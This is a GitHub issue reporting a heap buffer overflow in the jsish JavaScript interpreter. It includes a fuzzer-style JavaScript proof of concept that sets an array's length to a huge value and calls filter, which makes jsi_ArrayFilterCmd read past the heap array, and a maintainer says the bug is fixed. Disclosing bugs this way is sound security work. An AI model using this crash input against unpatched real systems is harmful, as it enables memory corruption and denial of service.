Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

buffer overflow #7

Closed
bird8693 opened this issue Apr 13, 2020 · 1 comment
Closed

buffer overflow #7

bird8693 opened this issue Apr 13, 2020 · 1 comment

Comments

@bird8693
Copy link

Enviroment

operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 

poc:

var o = [
    1,
    2
];
o.length = ~-2147483648;
o = o.reverse();
var a = Object.keys(o);
var pJZc = JSON.stringify('gA6MJqj19J?*JEEN');
pJZc = pJZc.slice(pJZc.length, pJZc.length);
pJZc = o.filter(function () {
}, 3037000498);
var GRPm = new RegExp('');
var NXPj = new RegExp('_IÁ\x80\xA7\t\x07ñ\xBB=MÙ%ÿ');
GRPm = o.indexOf(2147483647, function () {
});
JSON.stringify('Rmt(3oS<C?]+^J*uH0pR]');
o = a.slice(o, o);
var DYsj = new SharedArrayBuffer(2147483647);
var KweA = new Map([
    [
        0,
        1,
        o,
        673720360,
        o,
        a,
        o.length
    ],
    [
        a.length,
        42,
        a,
        -2147483648,
        a.length,
        -Infinity,
        o,
        1e-15
    ]
]);
var JXpp = JSON.stringify('\xA6\xB8løÚz\x1Cz\x81\x83ó\x9D;\xA9!ð\x8F\x87\xB3nZ');
var NRrA;
NRrA = o.toString(o);

vulnerability description:

The code that caused the vulnerability is on line src / jsiArray.c: 464, the function jsi_ArrayFilterCmd, the code is as follows:
image
curlen is obtained by reading the length of the object obj, as shown in the figure:
image
Modify the length of obj in PoC to a larger value, ie:
image
Then call the o.filter function to trigger jsish's jsi_ArrayFilterCmd function, and then make the curlen value larger, and access the heap space after the obj-> arr array is crossed.

@pcmacdon
Copy link
Owner

This issue was resolved by the fix to issue #5.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants